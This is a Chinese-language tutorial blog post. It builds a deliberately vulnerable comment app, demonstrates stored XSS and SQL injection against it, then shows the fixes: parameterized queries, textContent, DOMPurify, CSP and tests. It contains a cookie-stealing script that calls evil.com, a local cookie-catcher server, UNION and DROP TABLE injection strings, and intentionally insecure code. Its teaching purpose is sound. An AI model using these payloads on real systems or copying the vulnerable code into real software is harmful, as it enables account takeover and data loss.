说实话,以前我也觉得XSS和SQL注入就是那种"理论上很危险,实际中碰不到"的漏洞。毕竟用了那么多ORM框架,写的都是React组件,这些古老的安全问题应该早就被现代工具链解决了吧?
直到有一天,我在review一个电商项目的代码时,发现了这段看起来"人畜无害"的代码:
// 商品评论渲染逻辑
const CommentList = ({ comments }) => {
return comments.map(comment => (
<div key={comment.id}>
<strong>{comment.author}</strong>
<div dangerouslySetInnerHTML={{ __html: comment.content }} />
</div>
));
};
这代码有问题吗?当然有。但如果你现在还看不出来问题在哪,说明你需要好好看完这篇文章了。
那天我花了半小时搭了个最简单的全栈demo,把这个漏洞从提交到触发到修复的完整流程跑了一遍。看着自己精心构造的payload在浏览器里执行,看着一条SQL注入把整个数据库的内容都泄露出来,那种"原来如此"的感觉,比看一百张PPT都有用。
今天我把这个demo的完整过程分享给你,从最容易踩坑的代码写起,到真实的攻击演示,再到正确的修复方案。你不需要有什么安全背景,只需要跟着动手实践一遍,就能在脑子里建立起一套完整的防御体系。
一、为什么要搭建这个Demo?
1.1 纸上谈兵的困境
你可能在各种教程里见过类似的警告:
- "避免innerHTML,使用textContent"
但这些规则为什么存在?不遵守会发生什么?这些问题如果没有亲眼看到,很难真正理解。
就像学游泳,看一百遍教学视频,不如下水扑腾一次。安全漏洞也是一样的道理。
1.2 Demo的设计思路
我设计了一个最小化的全栈应用,包含:
- 后端: Node.js + Express + PostgreSQL (也支持SQLite)
- 前端: 原生HTML + JavaScript (或者React)
为什么选这个场景?因为它覆盖了两个最常见的攻击入口:
- 用户输入的内容被存储到数据库,然后渲染给其他用户 → 存储型XSS
这个场景在实际项目中随处可见:微博评论、论坛帖子、工单系统、博客留言...基本上所有UGC(用户生成内容)相关的功能都存在这个风险。
1.3 攻击流程全景图
在深入代码之前,先看一下完整的攻击链路:
┌─────────────────────────────────────────────────────────────┐
│ 第1步: 攻击者提交恶意内容 │
│ POST /comments │
│ { author: "黑客", content: "<script>恶意代码</script>" } │
└────────────────────┬────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第2步: 后端未做校验,直接拼接SQL │
│ SQL: INSERT INTO comments VALUES ('黑客', '<script>...') │
│ ⚠️ 漏洞点: 没有参数化查询 │
└────────────────────┬────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第3步: 恶意数据原封不动存入数据库 │
│ comments表: id=1, content="<script>恶意代码</script>" │
└────────────────────┬────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第4步: 正常用户访问页面 │
│ GET /comments → 返回包含恶意内容的数据 │
└────────────────────┬────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第5步: 前端用innerHTML渲染 │
│ div.innerHTML = '<script>恶意代码</script>' │
│ ⚠️ 漏洞点: 用户内容被当作HTML执行 │
└────────────────────┬────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 第6步: 恶意脚本在受害者浏览器中执行 │
│ - 窃取cookie/localStorage │
│ - 发起钓鱼攻击 │
│ - 传播蠕虫 │
└─────────────────────────────────────────────────────────────┘
这整个链路,任何一个环节做好防御都能阻断攻击。但实际项目中,往往是每个环节都有漏洞,层层叠加,最终酿成大祸。
二、漏洞代码实战:后端篇
2.1 最危险的SQL拼接
下面是一个典型的"教科书级"漏洞代码:
// app.js - 后端接口(⚠️ 漏洞代码,仅用于演示)
const express = require('express');
const bodyParser = require('body-parser');
const { Client } = require('pg');
const app = express();
app.use(bodyParser.json());
const client = new Client({
connectionString: process.env.DATABASE_URL || 'postgres://localhost:5432/demo',
});
client.connect();
// 初始化数据表
asyncfunction init() {
await client.query(`
CREATE TABLE IF NOT EXISTS comments (
id SERIAL PRIMARY KEY,
author TEXT,
content TEXT,
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);
`);
}
init();
// ⚠️ 漏洞点1: 保存评论 - 字符串拼接SQL
app.post('/comments', async (req, res) => {
const { author, content } = req.body;
// 危险! 直接把用户输入拼接到SQL语句里
const sql = `INSERT INTO comments (author, content)
VALUES ('${author}', '${content}')
RETURNING id`;
try {
const result = await client.query(sql);
res.json({ id: result.rows[0].id });
} catch (err) {
console.error('数据库错误:', err);
res.status(500).send('保存失败');
}
});
// 获取评论列表
app.get('/comments', async (req, res) => {
const result = await client.query(
'SELECT id, author, content FROM comments ORDER BY id DESC LIMIT 50'
);
res.json(result.rows);
});
// ⚠️ 漏洞点2: 管理员搜索 - 直接拼接查询条件
app.get('/admin/search', async (req, res) => {
const q = req.query.q || '';
// 危险! 用户输入直接插入到ILIKE条件中
const sql = `SELECT id, author, content FROM comments
WHERE content ILIKE '%${q}%'
LIMIT 100`;
const result = await client.query(sql);
res.json(result.rows);
});
app.listen(3000, () => console.log('服务运行在 http://localhost:3000'));
2.2 为什么这段代码有问题?
你可能会想:"我只是拼接了一下字符串,能有多大问题?"
让我用一个类比来解释:SQL语句就像是给数据库下达的命令,而字符串拼接相当于你把"命令"和"数据"混在一起,数据库分不清哪部分是你的指令,哪部分是用户的输入。
看看SQL注入是如何发生的:
正常查询:
┌──────────────────────────────────────────────────────┐
│ 你的SQL模板: WHERE content ILIKE '%[用户输入]%' │
│ 用户输入: "React教程" │
│ 拼接结果: WHERE content ILIKE '%React教程%' │
│ 执行效果: ✅ 正常搜索包含"React教程"的评论 │
└──────────────────────────────────────────────────────┘
恶意注入:
┌──────────────────────────────────────────────────────┐
│ 你的SQL模板: WHERE content ILIKE '%[用户输入]%' │
│ 用户输入: "' OR '1'='1" │
│ 拼接结果: WHERE content ILIKE '%' OR '1'='1%' │
│ ↑ │
│ SQL语句被改变了! │
│ 数据库理解为: │
│ - content ILIKE '%' ← 总是匹配 │
│ - OR ← 逻辑或 │
│ - '1'='1' ← 永远为真 │
│ 执行效果: ❌ 返回所有数据,绕过了查询条件 │
└──────────────────────────────────────────────────────┘
更危险的注入:
┌──────────────────────────────────────────────────────┐
│ 你的SQL模板: INSERT INTO comments VALUES ('[用户输入]')│
│ 用户输入: "'); DROP TABLE comments; --" │
│ 拼接结果: INSERT INTO comments VALUES (''); │
│ DROP TABLE comments; │
│ --') │
│ │
│ 数据库依次执行: │
│ 1. INSERT INTO comments VALUES (''); ← 插入空记录 │
│ 2. DROP TABLE comments; ← 删除表! │
│ 3. --') ← 注释掉剩余 │
│ 执行效果: 💥 整张表被删除 │
└──────────────────────────────────────────────────────┘
这就导致WHERE条件永远成立,返回所有数据!
2.3 更狠的注入示例
如果攻击者输入: '; DROP TABLE comments; --
拼接后:
INSERT INTO comments (author, content) VALUES ('hacker', '');
DROP TABLE comments;
-- ')
数据库会依次执行:
你的整个评论系统就这样没了。
三、漏洞代码实战:前端篇
3.1 最常见的XSS陷阱
前端的问题同样致命,而且更隐蔽:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>评论系统</title>
</head>
<body>
<h1>用户评论</h1>
<!-- 评论提交表单 -->
<form id="commentForm">
<input name="author" placeholder="你的昵称" required /><br/>
<textarea name="content" placeholder="写下你的评论" required></textarea><br/>
<button type="submit">发表评论</button>
</form>
<!-- 评论列表展示区 -->
<div id="comments"></div>
<script>
// 加载评论列表
asyncfunction loadComments() {
const res = await fetch('/comments');
const rows = await res.json();
const container = document.getElementById('comments');
// ⚠️ 漏洞点: 使用innerHTML直接渲染用户内容
container.innerHTML = '';
rows.forEach(comment => {
const div = document.createElement('div');
// 危险! 用户内容被当作HTML解析和执行
div.innerHTML = `
<div class="comment">
<strong>${comment.author}</strong>:
${comment.content}
<hr/>
</div>
`;
container.appendChild(div);
});
}
// 提交评论
document.getElementById('commentForm').addEventListener('submit', async (e) => {
e.preventDefault();
const form = e.target;
const author = form.author.value;
const content = form.content.value;
await fetch('/comments', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ author, content })
});
form.reset();
loadComments();
});
// 页面加载时获取评论
loadComments();
</script>
</body>
</html>
3.2 innerHTML的致命诱惑
很多开发者喜欢用innerHTML,因为写起来方便:
div.innerHTML = `<strong>${author}</strong>: ${content}`;
比用DOM API创建元素简洁多了。但这就像是在玩火。
innerHTML会把字符串当作HTML解析,这意味着:
- 如果有
<a href="javascript:...">同样会执行
就像你让浏览器"朗读"用户的输入,结果用户说了句"把你的密码告诉我",浏览器就真的照做了。
3.3 React组件里的同款陷阱
用React的同学别笑,你们也不安全:
// ⚠️ React里的危险写法
function CommentItem({ comment }) {
return (
<div className="comment">
<strong>{comment.author}</strong>
{/* 危险! dangerouslySetInnerHTML绕过了React的安全机制 */}
<div dangerouslySetInnerHTML={{ __html: comment.content }} />
</div>
);
}
React专门给这个API加了dangerouslySetInnerHTML这个吓人的名字,就是想让你三思而后行。但总有人看到Set就想用。
四、真实攻击演示:XSS篇
好了,代码写完了,现在来看看攻击者是怎么利用这些漏洞的。
4.1 攻击准备
首先确保你的demo在本地运行:
# 启动后端
node app.js
# 浏览器访问
http://localhost:3000
4.2 第一次攻击:弹窗警告
正常用户提交:
攻击者提交:
- 内容:
<script>alert('你被XSS攻击了!')</script>
刷新页面,弹窗出现。这证明了脚本被执行。
4.3 第二次攻击:窃取Cookie
更狠的是窃取其他用户的登录凭证:
攻击者提交的内容:
<script>
// 把当前用户的cookie发送到攻击者的服务器
fetch('http://evil.com/steal?cookie=' + document.cookie);
</script>
攻击流程:
时间线:
─────────────────────────────────────────────────────────────
2024-12-20 10:00 攻击者发布恶意评论
↓
┌──────────────────────────────────────────────┐
│ POST /comments │
│ { │
│ author: "黑客", │
│ content: "<script>恶意代码</script>" │
│ } │
└────────────┬─────────────────────────────────┘
↓
┌──────────────────────────────────────────────┐
│ 数据库存储 │
│ comments表: id=99 │
│ content: "<script>fetch('evil.com')</script>" │
└────────────┬─────────────────────────────────┘
↓
2024-12-20 14:30 普通用户A访问评论页面
↓
┌──────────────────────────────────────────────┐
│ 用户A浏览器 │
│ 1. GET /comments │
│ 2. 收到包含恶意脚本的数据 │
│ 3. innerHTML渲染 ← ⚠️ 关键漏洞点 │
│ 4. 恶意脚本在A的浏览器里执行 │
│ 5. A的cookie被发送到evil.com │
└────────────┬─────────────────────────────────┘
↓
┌──────────────────────────────────────────────┐
│ 攻击者服务器 evil.com │
│ 收到: cookie=sessionId=abc123... │
│ 现在攻击者可以: │
│ ├─ 伪装成用户A登录 │
│ ├─ 查看A的订单/隐私信息 │
│ ├─ 以A的身份发帖/下单 │
│ └─ 修改A的账号设置 │
└──────────────────────────────────────────────┘
2024-12-20 15:00 用户B也访问了评论页面
↓
同样被攻击... (循环往复)
攻击者可以持续窃取所有访问该页面的用户cookie
这就是"存储型XSS"的可怕之处
4.4 验证攻击效果
为了观察cookie被盗,我们可以开一个简单的服务器:
# 在另一个终端运行,监听端口9999
python3 -m http.server 9999
或者用Node.js:
// steal-server.js - 用于演示cookie被盗
const http = require('http');
const url = require('url');
http.createServer((req, res) => {
const query = url.parse(req.url, true).query;
console.log('🚨 窃取到的cookie:', query.cookie);
res.end('OK');
}).listen(9999, () => {
console.log('攻击监听服务器运行在 http://localhost:9999');
});
修改攻击payload:
<script>
fetch('http://localhost:9999/steal?cookie=' + document.cookie)
.then(() => console.log('Cookie已发送'));
</script>
现在打开另一个浏览器(或隐身窗口),访问http://localhost:3000,你会在监听服务器看到被盗的cookie。
4.5 为什么这么危险?
很多人觉得"不就是个弹窗吗,有啥大不了"。但实际上:
2018年的英国航空数据泄露事件,就是因为网站被注入了恶意JavaScript,导致38万用户的信用卡信息被盗,英航被罚款2亿英镑。
五、真实攻击演示:SQL注入篇
5.1 探测数据库
攻击者首先会尝试探测数据库的行为:
访问管理员搜索接口:
GET /admin/search?q=test
正常返回。
现在试试加个单引号:
GET /admin/search?q=test'
如果返回错误,说明SQL语句被破坏了,存在注入点。
5.2 绕过查询限制
访问:
GET /admin/search?q=' OR '1'='1
拼接后的SQL:
SELECT id, author, content FROM comments
WHERE content ILIKE '%' OR '1'='1%'
LIMIT 100
因为'1'='1'永远为真,所以WHERE条件永远满足,返回所有评论。
5.3 提取敏感信息
PostgreSQL支持UNION查询,攻击者可以这样:
GET /admin/search?q=' UNION SELECT id, username, password FROM users --
拼接后:
SELECT id, author, content FROM comments
WHERE content ILIKE '%' UNION SELECT id, username, password FROM users --%'
LIMIT 100
--是SQL注释符,会注释掉后面的内容。这样攻击者就能查询到users表的数据。
5.4 数据库破坏
最极端的情况:
GET /admin/search?q='; DROP TABLE comments; --
虽然在这个demo里可能不会真的执行(取决于数据库配置),但原理上是可行的。
5.5 SQL注入的危害
真实案例:
- 索尼PlayStation Network(2011): 7700万用户数据泄露
- 某国内P2P平台(2018): 用户投资记录被全部导出
一次SQL注入,可能导致:
六、正确的修复方案:后端防御
6.1 参数化查询:根本解决方案
最关键的修复:把SQL和数据分离。
修复前(危险):
const sql = `INSERT INTO comments (author, content) VALUES ('${author}', '${content}')`;
client.query(sql);
修复后(安全):
const sql = 'INSERT INTO comments (author, content) VALUES ($1, $2) RETURNING id';
const result = await client.query(sql, [author, content]);
PostgreSQL用$1, $2作为占位符,MySQL用?,原理都一样。
6.2 为什么参数化查询安全?
参数化查询的执行过程:
传统拼接方式 (不安全):
┌────────────────────────────────────────────────────┐
│ 步骤1: 构造完整SQL字符串 │
│ "SELECT * FROM users WHERE name = '" + input + "'"│
│ │
│ 步骤2: 把整个字符串发给数据库 │
│ 数据库看到: SELECT * FROM users WHERE name = '...' │
│ │
│ 步骤3: 数据库解析并执行 │
│ ⚠️ 问题: 数据库会把input里的SQL命令也当作指令执行 │
└────────────────────────────────────────────────────┘
参数化查询 (安全):
┌────────────────────────────────────────────────────┐
│ 步骤1: 先发送SQL结构(只有占位符) │
│ "SELECT * FROM users WHERE name = $1" │
│ 数据库预编译: 知道这里只有1个参数位置 │
│ │
│ 步骤2: 分别发送参数值 │
│ 参数: [用户输入] │
│ 数据库接收到: 这是数据,不是SQL命令 │
│ │
│ 步骤3: 数据库把参数当作纯数据填入 │
│ ✅ 即使参数是 "'; DROP TABLE users; --" │
│ 也只是被当作字符串,不会被解析成SQL │
└────────────────────────────────────────────────────┘
对比图解:
字符串拼接:
你的SQL ──┐
├─→ 混在一起 ──→ 数据库无法区分 ──→ 💥 注入成功
用户输入 ──┘
参数化查询:
SQL结构 ──→ 数据库先解析 ──→ 知道参数位置
↓
用户输入 ──→ 作为纯数据填入 ──→ ✅ 无法改变SQL结构
即使用户输入'; DROP TABLE users; --,也只是被当作普通字符串存入content字段,不会执行。
6.3 完整的后端修复代码
// app.js - 修复后的安全版本 ✅
const express = require('express');
const bodyParser = require('body-parser');
const { Client } = require('pg');
const { z } = require('zod'); // 输入验证库
const app = express();
app.use(bodyParser.json());
const client = new Client({
connectionString: process.env.DATABASE_URL || 'postgres://localhost:5432/demo',
});
client.connect();
// 输入验证schema
const commentSchema = z.object({
author: z.string().min(1).max(100),
content: z.string().min(1).max(2000),
});
// ✅ 修复后: 使用参数化查询
app.post('/comments', async (req, res) => {
// 第一层防御: 输入验证
const parse = commentSchema.safeParse(req.body);
if (!parse.success) {
return res.status(400).json({ error: '输入格式不正确', details: parse.error });
}
const { author, content } = parse.data;
// 第二层防御: 参数化查询
const sql = 'INSERT INTO comments (author, content) VALUES ($1, $2) RETURNING id';
try {
const result = await client.query(sql, [author, content]);
res.json({ id: result.rows[0].id });
} catch (err) {
console.error('数据库错误:', err);
res.status(500).send('保存失败');
}
});
// ✅ 修复后: 搜索功能也用参数化
app.get('/admin/search', async (req, res) => {
const q = req.query.q || '';
// 参数化查询,用户输入只能是数据,不能是SQL命令
const sql = 'SELECT id, author, content FROM comments WHERE content ILIKE $1 LIMIT 100';
const result = await client.query(sql, [`%${q}%`]);
res.json(result.rows);
});
// 安全Headers
app.use((req, res, next) => {
// CSP: 限制脚本来源
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");
// 防止点击劫持
res.setHeader('X-Frame-Options', 'DENY');
// 防止MIME类型嗅探
res.setHeader('X-Content-Type-Options', 'nosniff');
next();
});
app.listen(3000, () => console.log('安全服务运行在 http://localhost:3000'));
6.4 ORM框架也要注意
很多人觉得用了ORM就安全了,但要小心原生SQL:
Sequelize - 不安全写法:
// ⚠️ 危险
await sequelize.query(`SELECT * FROM users WHERE name = '${name}'`);
Sequelize - 安全写法:
// ✅ 安全
await sequelize.query('SELECT * FROM users WHERE name = ?', {
replacements: [name],
type: QueryTypes.SELECT
});
// ✅ 或者用ORM方法
await User.findAll({ where: { name } });
TypeORM - 安全写法:
// ✅ 使用QueryBuilder
await getRepository(User)
.createQueryBuilder('user')
.where('user.name = :name', { name })
.getMany();
Prisma - 天生安全:
// ✅ Prisma不允许字符串拼接,强制参数化
await prisma.user.findMany({
where: { name }
});
七、正确的修复方案:前端防御
7.1 避免innerHTML:使用DOM API
修复前(危险):
div.innerHTML = `<strong>${comment.author}</strong>: ${comment.content}`;
修复后(安全):
// 使用textContent,内容会被当作纯文本处理
const strong = document.createElement('strong');
strong.textContent = comment.author; // 纯文本,不会被解析
const text = document.createTextNode(': ' + comment.content); // 纯文本
div.appendChild(strong);
div.appendChild(text);
7.2 如果必须支持富文本怎么办?
有时候确实需要允许用户输入HTML(比如富文本编辑器),这时候要用专业的清洗库:
import DOMPurify from 'dompurify';
// ✅ 清洗HTML,只允许安全的标签和属性
const clean = DOMPurify.sanitize(comment.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br'],
ALLOWED_ATTR: ['href']
});
div.innerHTML = clean;
DOMPurify会移除所有危险内容:
7.3 完整的前端修复代码
// ✅ 安全的评论渲染逻辑
asyncfunction loadComments() {
const res = await fetch('/comments');
const rows = await res.json();
const container = document.getElementById('comments');
container.innerHTML = ''; // 清空容器
rows.forEach(comment => {
const commentDiv = document.createElement('div');
commentDiv.className = 'comment';
// 作者名 - 使用textContent
const authorEl = document.createElement('strong');
authorEl.textContent = comment.author;
// 评论内容 - 使用textContent
const contentEl = document.createElement('div');
contentEl.textContent = comment.content;
commentDiv.appendChild(authorEl);
commentDiv.appendChild(document.createTextNode(': '));
commentDiv.appendChild(contentEl);
commentDiv.appendChild(document.createElement('hr'));
container.appendChild(commentDiv);
});
}
7.4 React组件的正确写法
// ✅ React安全写法
function CommentItem({ comment }) {
return (
<div className="comment">
{/* React默认会转义,这是安全的 */}
<strong>{comment.author}</strong>: {comment.content}
<hr />
</div>
);
}
// 如果必须支持富文本
import DOMPurify from'dompurify';
function RichComment({ comment }) {
const cleanContent = DOMPurify.sanitize(comment.content, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
return (
<div className="comment">
<strong>{comment.author}</strong>
<div dangerouslySetInnerHTML={{ __html: cleanContent }} />
</div>
);
}
7.5 设置安全响应头
在后端设置HTTP安全头:
app.use((req, res, next) => {
// Content Security Policy - 只允许同源脚本
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; object-src 'none';"
);
// 防止点击劫持
res.setHeader('X-Frame-Options', 'DENY');
// 防止MIME嗅探
res.setHeader('X-Content-Type-Options', 'nosniff');
// Cookie安全设置
res.cookie('sessionId', token, {
httpOnly: true, // JavaScript无法访问
secure: true, // 只在HTTPS下传输
sameSite: 'strict'// 防止CSRF
});
next();
});
八、深度防御:多层防护体系
光修复代码还不够,要建立完整的防御体系:
用户请求
↓
┌─────────────────────────────────────────────────────┐
│ 第1层: WAF防火墙 (CloudFlare/阿里云) │
│ ├─ 阻止明显的攻击特征 │
│ ├─ 限流防止暴力扫描 │
│ └─ IP黑名单 │
└────────────────┬────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────┐
│ 第2层: 输入验证 (Zod/Joi/Yup) │
│ ├─ 类型检查 │
│ ├─ 长度限制 │
│ ├─ 格式校验 │
│ └─ 字符白名单 │
└────────────────┬────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────┐
│ 第3层: SQL参数化查询 (PostgreSQL/$1/$2) │
│ ├─ 数据和命令分离 │
│ ├─ 自动转义特殊字符 │
│ └─ 防止SQL结构被改变 │
└────────────────┬────────────────────────────────────┘
↓
数据存入数据库
↓
┌─────────────────────────────────────────────────────┐
│ 第4层: 输出编码/转义 (textContent/DOMPurify) │
│ ├─ 使用textContent而非innerHTML │
│ ├─ HTML实体编码 │
│ └─ 富文本白名单清洗 │
└────────────────┬────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────┐
│ 第5层: CSP安全头 │
│ ├─ 限制脚本来源 │
│ ├─ 禁止内联脚本 │
│ └─ 违规上报 │
└────────────────┬────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────┐
│ 第6层: Cookie安全配置 │
│ ├─ HttpOnly: JS无法访问 │
│ ├─ Secure: 仅HTTPS传输 │
│ └─ SameSite: 防CSRF │
└────────────────┬────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────┐
│ 第7层: 监控与告警 │
│ ├─ 记录SQL异常 │
│ ├─ CSP违规报告 │
│ ├─ 异常流量分析 │
│ └─ 实时告警通知 │
└─────────────────────────────────────────────────────┘
任何一层被突破,下一层继续防御
多层叠加,安全性指数级提升
8.1 输入验证:第一道防线
使用Zod、Joi或Yup验证输入:
import { z } from'zod';
const commentSchema = z.object({
author: z.string()
.min(1, '昵称不能为空')
.max(100, '昵称太长')
.regex(/^[a-zA-Z0-9\u4e00-\u9fa5]+$/, '昵称只能包含中英文和数字'),
content: z.string()
.min(1, '内容不能为空')
.max(2000, '内容太长')
});
app.post('/comments', async (req, res) => {
const validation = commentSchema.safeParse(req.body);
if (!validation.success) {
return res.status(400).json({
error: '输入验证失败',
details: validation.error.flatten()
});
}
// 继续处理...
});
8.2 内容安全策略(CSP)
CSP是浏览器级别的防护,即使XSS绕过了前面的防御,CSP也能阻止执行:
// 严格的CSP配置
res.setHeader('Content-Security-Policy', `
default-src 'self';
script-src 'self' 'nonce-${scriptNonce}';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self';
connect-src 'self';
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
`);
配合nonce使用:
<script nonce="随机生成的nonce值">
// 只有带正确nonce的脚本才能执行
</script>
8.3 自动化测试
写测试防止回归:
// comment.test.js
describe('评论安全测试', () => {
it('应该阻止XSS攻击', async () => {
const malicious = '<script>alert(1)</script>';
const res = await request(app)
.post('/comments')
.send({ author: 'test', content: malicious });
expect(res.status).toBe(200);
// 获取评论
const comments = await request(app).get('/comments');
const saved = comments.body.find(c => c.content.includes('script'));
// 内容应该被转义或清洗,而不是原样保存
expect(saved.content).not.toContain('<script>');
});
it('应该阻止SQL注入', async () => {
const malicious = "'; DROP TABLE comments; --";
const res = await request(app)
.get(`/admin/search?q=${encodeURIComponent(malicious)}`);
expect(res.status).toBe(200);
// 表应该仍然存在
const comments = await request(app).get('/comments');
expect(comments.status).toBe(200);
});
});
8.4 静态代码分析
用工具自动检测危险代码:
# .semgrep.yml
rules:
-id:dangerous-innerhtml
pattern:|
$EL.innerHTML = $VAL
message:"禁止使用innerHTML,请用textContent或DOMPurify"
languages:[javascript]
severity:ERROR
-id:sql-concatenation
pattern:|
client.query("..." + $X + "...")
message:"禁止SQL字符串拼接,请使用参数化查询"
languages:[javascript]
severity:ERROR
集成到CI/CD:
# .github/workflows/security.yml
name:SecurityCheck
on:[push,pull_request]
jobs:
semgrep:
runs-on:ubuntu-latest
steps:
-uses:actions/checkout@v2
-uses:returntocorp/semgrep-action@v1
九、实战检查清单
如果你有一个现成的项目,立即按这个清单检查:
后端检查
- [ ] 所有数据库查询都用参数化查询,没有字符串拼接
- [ ] 使用ORM时避免原生SQL,或者正确使用参数绑定
- [ ] 所有用户输入都经过验证(Zod/Joi/Yup)
前端检查
- [ ] 搜索代码中的
innerHTML、dangerouslySetInnerHTML、eval - [ ] 所有用户内容用
textContent渲染,或者用DOMPurify清洗 - [ ] 没有用
eval、new Function执行动态代码 - [ ] 外部链接使用
rel="noopener noreferrer"
HTTP安全头
- [ ] 设置了
Content-Security-Policy - [ ] Cookie标记了
HttpOnly, Secure, SameSite - [ ] 设置了
X-Content-Type-Options
自动化
监控
十、为什么Demo比PPT有用100倍?
回到开头的问题:为什么亲手搭建Demo这么重要?
因为它建立了一种肌肉记忆。当你:
这个过程就像是给大脑装了一个"安全警报器"。以后你再看到类似的代码,不用思考,直觉就会告诉你"这里有问题"。
我见过太多开发者能背出"不要用innerHTML",但一写代码还是会用,因为他们没有亲眼看到恶意脚本在浏览器里执行,没有亲手修复过这类问题。
真实案例的启示
2021年,某国内大型社交平台因为一个存储型XSS漏洞,被黑客植入了挖矿脚本,影响了数百万用户。事后复盘发现,漏洞代码非常简单,就是一个innerHTML的滥用。
如果当时负责这个模块的开发者,曾经亲手做过类似的demo,亲眼看到XSS的危害,这个低级错误几乎不可能发生。
学习建议
如果你是:
前端开发者:
后端开发者:
全栈开发者:
结语
XSS和SQL注入不是什么高深的黑客技术,它们的原理非常简单:你把数据当作代码执行了。
- XSS = 把用户输入当作JavaScript代码执行
防御方案也很简单:严格区分数据和代码。
- 前端: 用textContent或清洗,让内容不能变成代码
但"知道"和"做到"之间有巨大的鸿沟。搭建一个demo,动手实践,是跨越这个鸿沟的最佳方式。
花半小时搭建这个demo,跑一遍攻击和防御流程,会比看十篇教程更有用。
因为安全不是背会几个规则,而是要在每一行代码里都保持警惕。